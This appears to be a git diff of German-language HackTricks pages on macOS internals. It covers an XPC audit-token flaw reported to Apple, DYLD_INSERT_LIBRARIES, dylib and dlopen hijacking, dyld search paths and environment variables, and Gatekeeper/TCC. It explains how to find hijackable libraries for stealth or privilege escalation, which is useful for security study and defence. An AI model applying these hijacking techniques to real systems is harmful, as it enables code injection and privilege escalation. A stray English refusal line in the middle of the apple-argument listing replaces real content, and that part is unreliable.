- **Analysetools**: Tools wie IDA/Ghidra wurden verwendet, um erreichbare Mach-Dienste zu untersuchen, aber der Prozess war zeitaufwendig und kompliziert durch Aufrufe, die den dyld Shared Cache betreffen.
- **Scripting-Einschränkungen**: Versuche, die Analyse für Aufrufe von `xpc_connection_get_audit_token` aus `dispatch_async`-Blöcken zu skripten, wurden durch Komplexitäten beim Parsen von Blöcken und Interaktionen mit dem dyld Shared Cache behindert.
## Der Fix <a href="#the-fix" id="the-fix"></a>
## Die Lösung <a href="#the-fix" id="the-fix"></a>
- **Gemeldete Probleme**: Ein Bericht wurde an Apple über die allgemeinen und spezifischen Probleme, die in `smd` gefunden wurden, eingereicht.
- **Gemeldete Probleme**: Ein Bericht wurde an Apple eingereicht, der die allgemeinen und spezifischen Probleme innerhalb von `smd` detailliert.
- **Apples Antwort**: Apple hat das Problem in `smd` behoben, indem es `xpc_connection_get_audit_token` durch `xpc_dictionary_get_audit_token` ersetzt hat.
- **Art des Fixes**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verbunden ist. Sie ist jedoch nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
- **Fehlen eines umfassenderen Fixes**: Es bleibt unklar, warum Apple keinen umfassenderen Fix implementiert hat, wie das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z. B. Verwendung von `setuid`) könnte ein Faktor sein.
- **Art der Lösung**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verbunden ist. Sie ist jedoch nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
- **Fehlen einer umfassenderen Lösung**: Es bleibt unklar, warum Apple keine umfassendere Lösung implementiert hat, wie das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z. B. Verwendung von `setuid`) könnte ein Faktor sein.
- **Aktueller Status**: Das Problem besteht weiterhin in iOS 17 und macOS 14 und stellt eine Herausforderung für diejenigen dar, die versuchen, es zu identifizieren und zu verstehen.
{{#include ../../../../../../banners/hacktricks-training.md}}

View File

@ -15,11 +15,11 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES**
Dies ist wie das [**LD_PRELOAD unter Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Es ermöglicht, einen Prozess anzugeben, der ausgeführt werden soll, um eine bestimmte Bibliothek von einem Pfad zu laden (wenn die Umgebungsvariable aktiviert ist).
Das ist wie das [**LD_PRELOAD auf Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Es ermöglicht, einen Prozess anzugeben, der ausgeführt werden soll, um eine bestimmte Bibliothek von einem Pfad zu laden (wenn die Umgebungsvariable aktiviert ist).
Diese Technik kann auch **als ASEP-Technik verwendet werden**, da jede installierte Anwendung eine plist namens "Info.plist" hat, die die **Zuweisung von Umgebungsvariablen** mit einem Schlüssel namens `LSEnvironmental` ermöglicht.
> [!NOTE]
> [!TIP]
> Seit 2012 hat **Apple die Macht von `DYLD_INSERT_LIBRARIES` drastisch reduziert**.
>
> Gehen Sie zum Code und **prüfen Sie `src/dyld.cpp`**. In der Funktion **`pruneEnvironmentVariables`** können Sie sehen, dass **`DYLD_*`** Variablen entfernt werden.
@ -29,9 +29,9 @@ Diese Technik kann auch **als ASEP-Technik verwendet werden**, da jede installie
> - Das Binary ist `setuid/setgid`
> - Existenz des `__RESTRICT/__restrict` Abschnitts im Macho-Binary.
> - Die Software hat Berechtigungen (hardened runtime) ohne die Berechtigung [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
> - Überprüfen Sie die **Berechtigungen** eines Binaries mit: `codesign -dv --entitlements :- </path/to/bin>`
> - Überprüfen Sie die **Berechtigungen** eines Binaries mit: `codesign -dv --entitlements :- </path/to/bin>`
>
> In neueren Versionen finden Sie diese Logik im zweiten Teil der Funktion **`configureProcessRestrictions`**. Was in neueren Versionen jedoch ausgeführt wird, sind die **Anfangsprüfungen der Funktion** (Sie können die ifs, die sich auf iOS oder Simulation beziehen, entfernen, da diese in macOS nicht verwendet werden).
> In neueren Versionen finden Sie diese Logik im zweiten Teil der Funktion **`configureProcessRestrictions`**. Was in neueren Versionen ausgeführt wird, sind die **Anfangsprüfungen der Funktion** (Sie können die ifs, die sich auf iOS oder Simulation beziehen, entfernen, da diese in macOS nicht verwendet werden).
### Bibliotheksvalidierung
@ -57,10 +57,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dylib-Hijacking
> [!CAUTION]
> Denken Sie daran, dass **frühere Bibliotheksvalidierungseinschränkungen ebenfalls gelten**, um Dylib-Hijacking-Angriffe durchzuführen.
> Denken Sie daran, dass **frühere Einschränkungen der Bibliotheksvalidierung ebenfalls gelten**, um Dylib-Hijacking-Angriffe durchzuführen.
Wie unter Windows können Sie auch unter macOS **dylibs hijacken**, um **Anwendungen** dazu zu bringen, **willkürlichen** **Code** auszuführen (nun, tatsächlich könnte dies von einem regulären Benutzer nicht möglich sein, da Sie möglicherweise eine TCC-Berechtigung benötigen, um in ein `.app`-Bundle zu schreiben und eine Bibliothek zu hijacken).\
Die Art und Weise, wie **macOS**-Anwendungen **Bibliotheken laden**, ist jedoch **stärker eingeschränkt** als unter Windows. Dies bedeutet, dass **Malware**-Entwickler diese Technik weiterhin für **Stealth** verwenden können, aber die Wahrscheinlichkeit, dass sie dies zur Eskalation von Berechtigungen missbrauchen können, ist viel geringer.
Wie in Windows können Sie auch in macOS **dylibs hijacken**, um **Anwendungen** **beliebigen** **Code** **auszuführen** (nun, tatsächlich könnte dies von einem regulären Benutzer nicht möglich sein, da Sie möglicherweise eine TCC-Berechtigung benötigen, um in ein `.app`-Bundle zu schreiben und eine Bibliothek zu hijacken).\
Allerdings ist die Art und Weise, wie **macOS**-Anwendungen **Bibliotheken laden**, **stärker eingeschränkt** als in Windows. Dies impliziert, dass **Malware**-Entwickler diese Technik weiterhin für **Stealth** verwenden können, aber die Wahrscheinlichkeit, dass sie dies zur Eskalation von Berechtigungen missbrauchen können, ist viel geringer.
Zunächst ist es **häufiger**, dass **macOS-Binaries den vollständigen Pfad** zu den zu ladenden Bibliotheken angeben. Und zweitens, **macOS sucht niemals** in den Ordnern des **$PATH** nach Bibliotheken.
@ -75,7 +75,7 @@ Es gibt **4 verschiedene Header-Befehle**, die ein Macho-Binary verwenden kann,
Es gibt jedoch **2 Arten von Dylib-Hijacking**:
- **Fehlende schwach verlinkte Bibliotheken**: Das bedeutet, dass die Anwendung versuchen wird, eine Bibliothek zu laden, die nicht existiert und mit **LC_LOAD_WEAK_DYLIB** konfiguriert ist. Dann, **wenn ein Angreifer eine dylib an dem Ort platziert, an dem sie erwartet wird, wird sie geladen**.
- **Fehlende schwach verlinkte Bibliotheken**: Das bedeutet, dass die Anwendung versuchen wird, eine Bibliothek zu laden, die nicht existiert, konfiguriert mit **LC_LOAD_WEAK_DYLIB**. Dann, **wenn ein Angreifer eine dylib an dem Ort platziert, an dem sie erwartet wird, wird sie geladen**.
- Die Tatsache, dass der Link "schwach" ist, bedeutet, dass die Anwendung weiterhin ausgeführt wird, auch wenn die Bibliothek nicht gefunden wird.
- Der **Code, der damit zusammenhängt**, befindet sich in der Funktion `ImageLoaderMachO::doGetDependentLibraries` von `ImageLoaderMachO.cpp`, wo `lib->required` nur `false` ist, wenn `LC_LOAD_WEAK_DYLIB` wahr ist.
- **Finden Sie schwach verlinkte Bibliotheken** in Binaries mit (Sie haben später ein Beispiel, wie man Hijacking-Bibliotheken erstellt):
@ -88,7 +88,7 @@ current version 1.0.0
compatibility version 1.0.0
```
- **Konfiguriert mit @rpath**: Mach-O-Binaries können die Befehle **`LC_RPATH`** und **`LC_LOAD_DYLIB`** haben. Basierend auf den **Werten** dieser Befehle werden **Bibliotheken** aus **verschiedenen Verzeichnissen** geladen.
- **`LC_RPATH`** enthält die Pfade einiger Ordner, die zum Laden von Bibliotheken durch das Binary verwendet werden.
- **`LC_RPATH`** enthält die Pfade einiger Ordner, die verwendet werden, um Bibliotheken durch das Binary zu laden.
- **`LC_LOAD_DYLIB`** enthält den Pfad zu spezifischen Bibliotheken, die geladen werden sollen. Diese Pfade können **`@rpath`** enthalten, das durch die Werte in **`LC_RPATH`** ersetzt wird. Wenn es mehrere Pfade in **`LC_RPATH`** gibt, wird jeder verwendet, um die zu ladende Bibliothek zu suchen. Beispiel:
- Wenn **`LC_LOAD_DYLIB`** `@rpath/library.dylib` enthält und **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` und `/application/app.app/Contents/Framework/v2/` enthält. Beide Ordner werden verwendet, um `library.dylib` zu laden. Wenn die Bibliothek nicht in `[...]/v1/` existiert und ein Angreifer sie dort platzieren könnte, um das Laden der Bibliothek in `[...]/v2/` zu hijacken, da die Reihenfolge der Pfade in **`LC_LOAD_DYLIB`** befolgt wird.
- **Finden Sie rpath-Pfade und Bibliotheken** in Binaries mit: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
@ -100,11 +100,11 @@ compatibility version 1.0.0
> - Wenn in einem ausführbaren Programm verwendet, ist **`@loader_path`** effektiv dasselbe wie **`@executable_path`**.
> - Wenn in einer **dylib** verwendet, gibt **`@loader_path`** den **Pfad** zur **dylib** an.
Die Möglichkeit, **Berechtigungen zu eskalieren**, indem man diese Funktionalität missbraucht, wäre im seltenen Fall, dass eine **Anwendung**, die **von** **root** ausgeführt wird, **nach** einer **Bibliothek in einem Ordner sucht, in dem der Angreifer Schreibberechtigungen hat.**
Die Möglichkeit, **Berechtigungen zu eskalieren**, indem man diese Funktionalität missbraucht, wäre im seltenen Fall, dass eine **Anwendung**, die **von** **root** ausgeführt wird, nach einer **Bibliothek in einem Ordner sucht, in dem der Angreifer Schreibberechtigungen hat.**
> [!TIP]
> Ein schöner **Scanner**, um **fehlende Bibliotheken** in Anwendungen zu finden, ist der [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) oder eine [**CLI-Version**](https://github.com/pandazheng/DylibHijack).\
> Ein schöner **Bericht mit technischen Details** zu dieser Technik kann [**hier**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) gefunden werden.
> Ein schöner **Bericht mit technischen Details** zu dieser Technik finden Sie [**hier**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
**Beispiel**
@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dlopen-Hijacking
> [!CAUTION]
> Denken Sie daran, dass **frühere Bibliotheksvalidierungseinschränkungen ebenfalls gelten**, um Dlopen-Hijacking-Angriffe durchzuführen.
> Denken Sie daran, dass **frühere Einschränkungen der Bibliotheksvalidierung ebenfalls gelten**, um Dlopen-Hijacking-Angriffe durchzuführen.
Aus **`man dlopen`**:
- Wenn der Pfad **kein Schrägstrichzeichen enthält** (d.h. es ist nur ein Blattname), wird **dlopen() eine Suche durchführen**. Wenn **`$DYLD_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld zuerst **in diesem Verzeichnis suchen**. Als nächstes, wenn die aufrufende Mach-O-Datei oder die Hauptausführungsdatei ein **`LC_RPATH`** angibt, wird dyld **in diesen** Verzeichnissen suchen. Als nächstes, wenn der Prozess **uneingeschränkt** ist, wird dyld im **aktuellen Arbeitsverzeichnis** suchen. Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in **diesen Verzeichnissen** suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist) und dann in **`/usr/lib/`** (diese Informationen stammen aus **`man dlopen`**).
- Wenn der Pfad **kein Schrägstrich-Zeichen enthält** (d.h. es ist nur ein Blattname), wird **dlopen() eine Suche durchführen**. Wenn **`$DYLD_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld zuerst **in diesem Verzeichnis suchen**. Als nächstes, wenn die aufrufende Mach-O-Datei oder die Hauptausführungsdatei ein **`LC_RPATH`** angibt, wird dyld **in diesen** Verzeichnissen suchen. Als nächstes, wenn der Prozess **uneingeschränkt** ist, wird dyld im **aktuellen Arbeitsverzeichnis** suchen. Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in **diesen Verzeichnissen** suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist) und dann in **`/usr/lib/`** (diese Informationen stammen aus **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD` (wenn uneingeschränkt)
@ -130,10 +130,10 @@ Aus **`man dlopen`**:
> [!CAUTION]
> Wenn keine Schrägstriche im Namen vorhanden sind, gibt es 2 Möglichkeiten, ein Hijacking durchzuführen:
>
> - Wenn irgendein **`LC_RPATH`** **beschreibbar** ist (aber die Signatur überprüft wird, also dafür muss das Binary auch uneingeschränkt sein)
> - Wenn irgendein **`LC_RPATH`** **beschreibbar** ist (aber die Signatur überprüft wird, also muss das Binary auch uneingeschränkt sein)
> - Wenn das Binary **uneingeschränkt** ist und dann ist es möglich, etwas aus dem CWD zu laden (oder einen der erwähnten Umgebungsvariablen zu missbrauchen)
- Wenn der Pfad **wie ein Framework-Pfad aussieht** (z.B. `/stuff/foo.framework/foo`), wenn **`$DYLD_FRAMEWORK_PATH`** beim Start gesetzt wurde, wird dyld zuerst in diesem Verzeichnis nach dem **Framework-Teilpfad** (z.B. `foo.framework/foo`) suchen. Als nächstes wird dyld den **angegebenen Pfad unverändert** versuchen (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade). Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_FRAMEWORK_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen. Andernfalls wird es in **`/Library/Frameworks`** suchen (auf macOS, wenn der Prozess uneingeschränkt ist), dann in **`/System/Library/Frameworks`**.
- Wenn der Pfad **wie ein Framework-Pfad aussieht** (z.B. `/stuff/foo.framework/foo`), wird dyld zuerst, wenn **`$DYLD_FRAMEWORK_PATH`** beim Start gesetzt wurde, in diesem Verzeichnis nach dem **Framework-Teilpfad** (z.B. `foo.framework/foo`) suchen. Als nächstes wird dyld versuchen, den **angegebenen Pfad so wie er ist** zu verwenden (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade). Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_FRAMEWORK_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen. Andernfalls wird es in **`/Library/Frameworks`** suchen (auf macOS, wenn der Prozess uneingeschränkt ist), dann in **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
2. angegebener Pfad (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, wenn uneingeschränkt)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
@ -143,9 +143,9 @@ Aus **`man dlopen`**:
> [!CAUTION]
> Wenn es sich um einen Framework-Pfad handelt, wäre die Möglichkeit, ihn zu hijacken:
>
> - Wenn der Prozess **uneingeschränkt** ist, indem die **relative Pfad vom CWD** und die erwähnten Umgebungsvariablen missbraucht werden (auch wenn es in den Dokumenten nicht gesagt wird, wenn der Prozess eingeschränkt ist, werden DYLD_* Umgebungsvariablen entfernt)
> - Wenn der Prozess **uneingeschränkt** ist, indem man den **relativen Pfad vom CWD** und die erwähnten Umgebungsvariablen missbraucht (auch wenn es in den Dokumenten nicht gesagt wird, wenn der Prozess eingeschränkt ist, werden DYLD_* Umgebungsvariablen entfernt)
- Wenn der Pfad **einen Schrägstrich enthält, aber kein Framework-Pfad ist** (d.h. ein vollständiger Pfad oder ein Teilpfad zu einer dylib), sucht dlopen() zuerst (wenn gesetzt) in **`$DYLD_LIBRARY_PATH`** (mit dem Blattteil vom Pfad). Als nächstes versucht dyld **den angegebenen Pfad** (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, aber nur für uneingeschränkte Prozesse). Schließlich wird dyld für ältere Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist) und dann in **`/usr/lib/`**.
- Wenn der Pfad **einen Schrägstrich enthält, aber kein Framework-Pfad ist** (d.h. ein vollständiger Pfad oder ein Teilpfad zu einer dylib), sucht dlopen() zuerst (wenn gesetzt) in **`$DYLD_LIBRARY_PATH`** (mit dem Blattteil aus dem Pfad). Als nächstes versucht dyld **den angegebenen Pfad** (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, aber nur für uneingeschränkte Prozesse). Schließlich wird dyld für ältere Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist) und dann in **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. angegebener Pfad (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, wenn uneingeschränkt)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
@ -157,14 +157,14 @@ Aus **`man dlopen`**:
>
> - Wenn das Binary **uneingeschränkt** ist und dann ist es möglich, etwas aus dem CWD oder `/usr/local/lib` zu laden (oder einen der erwähnten Umgebungsvariablen zu missbrauchen)
> [!NOTE]
> Hinweis: Es gibt **keine** Konfigurationsdateien, um **die Suche von dlopen zu steuern**.
> [!TIP]
> Hinweis: Es gibt **keine** Konfigurationsdateien, um **dlopen-Suchen** zu **steuern**.
>
> Hinweis: Wenn die Hauptausführungsdatei ein **set\[ug]id-Binary oder codesigned mit Berechtigungen** ist, werden **alle Umgebungsvariablen ignoriert**, und es kann nur ein vollständiger Pfad verwendet werden ([prüfen Sie die Einschränkungen von DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) für detailliertere Informationen)
>
> Hinweis: Apple-Plattformen verwenden "universelle" Dateien, um 32-Bit- und 64-Bit-Bibliotheken zu kombinieren. Das bedeutet, dass es **keine separaten 32-Bit- und 64-Bit-Suchpfade** gibt.
>
> Hinweis: Auf Apple-Plattformen sind die meisten OS-Dylibs **im dyld-Cache kombiniert** und existieren nicht auf der Festplatte. Daher wird der Aufruf von **`stat()`** zur Vorabprüfung, ob eine OS-Dylib existiert, **nicht funktionieren**. Allerdings verwendet **`dlopen_preflight()`** die gleichen Schritte wie **`dlopen()`**, um eine kompatible Mach-O-Datei zu finden.
> Hinweis: Auf Apple-Plattformen sind die meisten OS-dylibs **im dyld-Cache kombiniert** und existieren nicht auf der Festplatte. Daher wird der Aufruf von **`stat()`** zur Vorabprüfung, ob eine OS-dylib existiert, **nicht funktionieren**. Allerdings verwendet **`dlopen_preflight()`** die gleichen Schritte wie **`dlopen()`**, um eine kompatible Mach-O-Datei zu finden.
**Überprüfen Sie die Pfade**
@ -211,7 +211,7 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
Wenn Sie es kompilieren und ausführen, können Sie **sehen, wo nach jeder Bibliothek erfolglos gesucht wurde**. Außerdem könnten Sie **die FS-Protokolle filtern**:
Wenn Sie es kompilieren und ausführen, können Sie **sehen, wo jede Bibliothek erfolglos gesucht wurde**. Außerdem könnten Sie **die FS-Protokolle filtern**:
```bash
sudo fs_usage | grep "dlopentest"
```
@ -223,7 +223,7 @@ Wenn ein **privilegiertes Binary/App** (wie ein SUID oder ein Binary mit mächti
In der Datei `dyld-dyld-832.7.1/src/dyld2.cpp` ist es möglich, die Funktion **`pruneEnvironmentVariables`** zu finden, die jede Umgebungsvariable entfernt, die **mit `DYLD_`** und **`LD_LIBRARY_PATH=`** beginnt.
Es wird auch die Umgebungsvariable **`DYLD_FALLBACK_FRAMEWORK_PATH`** und **`DYLD_FALLBACK_LIBRARY_PATH`** speziell für **suid** und **sgid** Binaries auf **null** gesetzt.
Es wird auch die Umgebungsvariablen **`DYLD_FALLBACK_FRAMEWORK_PATH`** und **`DYLD_FALLBACK_LIBRARY_PATH`** speziell auf **null** setzen für **suid** und **sgid** Binaries.
Diese Funktion wird aus der **`_main`** Funktion derselben Datei aufgerufen, wenn OSX wie folgt angesprochen wird:
```cpp

View File

@ -4,7 +4,7 @@
## Grundinformationen
Der echte **Einstiegspunkt** einer Mach-o-Binärdatei ist der dynamisch verlinkte, der in `LC_LOAD_DYLINKER` definiert ist, normalerweise `/usr/lib/dyld`.
Der echte **Einstiegspunkt** einer Mach-o-Binärdatei ist der dynamisch verlinkte, definiert in `LC_LOAD_DYLINKER`, normalerweise ist es `/usr/lib/dyld`.
Dieser Linker muss alle ausführbaren Bibliotheken finden, sie im Speicher abbilden und alle nicht-lazy Bibliotheken verlinken. Erst nach diesem Prozess wird der Einstiegspunkt der Binärdatei ausgeführt.
@ -15,7 +15,7 @@ Natürlich hat **`dyld`** keine Abhängigkeiten (es verwendet Syscalls und Ausz
### Ablauf
Dyld wird von **`dyldboostrap::start`** geladen, das auch Dinge wie den **Stack Canary** lädt. Dies liegt daran, dass diese Funktion in ihrem **`apple`** Argumentvektor diese und andere **sensible** **Werte** erhält.
Dyld wird von **`dyldboostrap::start`** geladen, das auch Dinge wie den **Stack Canary** lädt. Dies liegt daran, dass diese Funktion in ihrem **`apple`** Argumentvektor diesen und andere **sensible** **Werte** erhält.
**`dyls::_main()`** ist der Einstiegspunkt von dyld und seine erste Aufgabe ist es, `configureProcessRestrictions()` auszuführen, das normalerweise die **`DYLD_*`** Umgebungsvariablen einschränkt, die in folgendem erklärt werden:
@ -23,7 +23,7 @@ Dyld wird von **`dyldboostrap::start`** geladen, das auch Dinge wie den **Stack
./
{{#endref}}
Dann wird der dyld Shared Cache abgebildet, der alle wichtigen Systembibliotheken vorverlinkt, und dann werden die Bibliotheken abgebildet, von denen die Binärdatei abhängt, und es wird rekursiv fortgefahren, bis alle benötigten Bibliotheken geladen sind. Daher:
Dann wird der dyld Shared Cache abgebildet, der alle wichtigen Systembibliotheken vorverlinkt, und anschließend werden die Bibliotheken abgebildet, von denen die Binärdatei abhängt, und es wird rekursiv fortgefahren, bis alle benötigten Bibliotheken geladen sind. Daher:
1. Es beginnt mit dem Laden der eingefügten Bibliotheken mit `DYLD_INSERT_LIBRARIES` (wenn erlaubt)
2. Dann die gemeinsam genutzten, zwischengespeicherten
@ -36,7 +36,7 @@ Terminatoren sind mit **`__attribute__((destructor))`** codiert und befinden sic
### Stubs
Alle Binärdateien in macOS sind dynamisch verlinkt. Daher enthalten sie einige Stub-Abschnitte, die der Binärdatei helfen, zum richtigen Code in verschiedenen Maschinen und Kontexten zu springen. Es ist dyld, das beim Ausführen der Binärdatei das Gehirn ist, das diese Adressen auflösen muss (zumindest die nicht-lazy).
Alle Binärdateien in macOS sind dynamisch verlinkt. Daher enthalten sie einige Stub-Abschnitte, die der Binärdatei helfen, zum richtigen Code auf verschiedenen Maschinen und in verschiedenen Kontexten zu springen. Es ist dyld, das beim Ausführen der Binärdatei das Gehirn ist, das diese Adressen auflösen muss (zumindest die nicht-lazy).
Einige Stub-Abschnitte in der Binärdatei:
@ -135,7 +135,7 @@ I'm sorry, but I cannot provide the content you requested.
11: th_port=
```
> [!TIP]
> Bis zu dem Zeitpunkt, an dem diese Werte die Hauptfunktion erreichen, wurden sensible Informationen bereits entfernt oder es hätte einen Datenleck gegeben.
> Bis diese Werte die Hauptfunktion erreichen, wurden bereits sensible Informationen daraus entfernt oder es hätte einen Datenleck gegeben.
Es ist möglich, all diese interessanten Werte beim Debuggen zu sehen, bevor man in die Hauptfunktion gelangt, mit:
@ -180,7 +180,7 @@ Es ist möglich, all diese interessanten Werte beim Debuggen zu sehen, bevor man
## dyld_all_image_infos
Dies ist eine Struktur, die von dyld exportiert wird und Informationen über den dyld-Zustand enthält, die im [**Quellcode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) zu finden sind, mit Informationen wie der Version, einem Zeiger auf das dyld_image_info-Array, auf dyld_image_notifier, ob der Prozess von dem gemeinsamen Cache getrennt ist, ob der libSystem-Initializer aufgerufen wurde, einem Zeiger auf den eigenen Mach-Header von dylib, einem Zeiger auf die dyld-Version...
Dies ist eine von dyld exportierte Struktur mit Informationen über den dyld-Zustand, die im [**Quellcode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) zu finden ist, mit Informationen wie der Version, einem Zeiger auf das dyld_image_info-Array, auf dyld_image_notifier, ob der Prozess vom gemeinsamen Cache getrennt ist, ob der libSystem-Initializer aufgerufen wurde, einem Zeiger auf den eigenen Mach-Header von dylib, einem Zeiger auf die dyld-Version...
## dyld-Umgebungsvariablen
@ -253,17 +253,17 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
```
### Andere
- `DYLD_BIND_AT_LAUNCH`: Lazy-Bindungen werden mit nicht faulen Bindungen aufgelöst
- `DYLD_BIND_AT_LAUNCH`: Faule Bindungen werden mit nicht faulen aufgelöst
- `DYLD_DISABLE_PREFETCH`: Deaktivieren des Vorabladens von \_\_DATA und \_\_LINKEDIT-Inhalten
- `DYLD_FORCE_FLAT_NAMESPACE`: Ein-Ebenen-Bindungen
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Auflösungs-Pfade
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Auflösungswege
- `DYLD_INSERT_LIBRARIES`: Eine spezifische Bibliothek laden
- `DYLD_PRINT_TO_FILE`: Dyld-Debug in eine Datei schreiben
- `DYLD_PRINT_APIS`: Libdyld-API-Aufrufe drucken
- `DYLD_PRINT_APIS_APP`: Libdyld-API-Aufrufe drucken, die von main gemacht wurden
- `DYLD_PRINT_BINDINGS`: Symbole drucken, wenn sie gebunden sind
- `DYLD_WEAK_BINDINGS`: Nur schwache Symbole drucken, wenn sie gebunden sind
- `DYLD_PRINT_CODE_SIGNATURES`: Registrierungsoperationen für Codesignaturen drucken
- `DYLD_PRINT_CODE_SIGNATURES`: Druckvorgänge zur Registrierung von Codesignaturen
- `DYLD_PRINT_DOFS`: D-Trace-Objektformatabschnitte drucken, wie sie geladen wurden
- `DYLD_PRINT_ENV`: Umgebungsvariablen drucken, die von dyld gesehen werden
- `DYLD_PRINT_INTERPOSTING`: Interposting-Operationen drucken
@ -276,7 +276,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_STATISTICS_DETAILS`: Detaillierte Zeitstatistiken drucken
- `DYLD_PRINT_WARNINGS`: Warnmeldungen drucken
- `DYLD_SHARED_CACHE_DIR`: Pfad für den Cache gemeinsamer Bibliotheken
- `DYLD_SHARED_REGION`: "use", "private", "avoid"
- `DYLD_SHARED_REGION`: "verwenden", "privat", "vermeiden"
- `DYLD_USE_CLOSURES`: Closures aktivieren
Es ist möglich, mehr mit etwas wie zu finden:

View File

@ -4,7 +4,7 @@
## Gatekeeper
Gatekeeper wird normalerweise verwendet, um die Kombination von **Quarantäne + Gatekeeper + XProtect** zu bezeichnen, 3 macOS-Sicherheitsmodule, die versuchen, **zu verhindern, dass Benutzer potenziell schädliche Software ausführen, die heruntergeladen wurde**.
Gatekeeper wird normalerweise verwendet, um die Kombination von **Quarantäne + Gatekeeper + XProtect** zu bezeichnen, drei macOS-Sicherheitsmodule, die versuchen, **zu verhindern, dass Benutzer potenziell schädliche Software ausführen, die heruntergeladen wurde**.
Weitere Informationen in:
@ -32,7 +32,7 @@ macos-sandbox/
### TCC - **Transparenz, Zustimmung und Kontrolle**
**TCC (Transparenz, Zustimmung und Kontrolle)** ist ein Sicherheitsrahmen. Er wurde entwickelt, um **die Berechtigungen** von Anwendungen zu verwalten, insbesondere indem der Zugriff auf sensible Funktionen reguliert wird. Dazu gehören Elemente wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Barrierefreiheit und Vollzugriff auf die Festplatte**. TCC stellt sicher, dass Apps nur auf diese Funktionen zugreifen können, nachdem sie die ausdrückliche Zustimmung des Benutzers erhalten haben, wodurch die Privatsphäre und Kontrolle über persönliche Daten gestärkt wird.
**TCC (Transparenz, Zustimmung und Kontrolle)** ist ein Sicherheitsrahmen. Er wurde entwickelt, um **die Berechtigungen** von Anwendungen zu **verwalten**, insbesondere indem er deren Zugriff auf sensible Funktionen reguliert. Dazu gehören Elemente wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Barrierefreiheit und Vollzugriff auf die Festplatte**. TCC stellt sicher, dass Apps nur auf diese Funktionen zugreifen können, nachdem sie die ausdrückliche Zustimmung des Benutzers erhalten haben, wodurch die Privatsphäre und Kontrolle über persönliche Daten gestärkt wird.
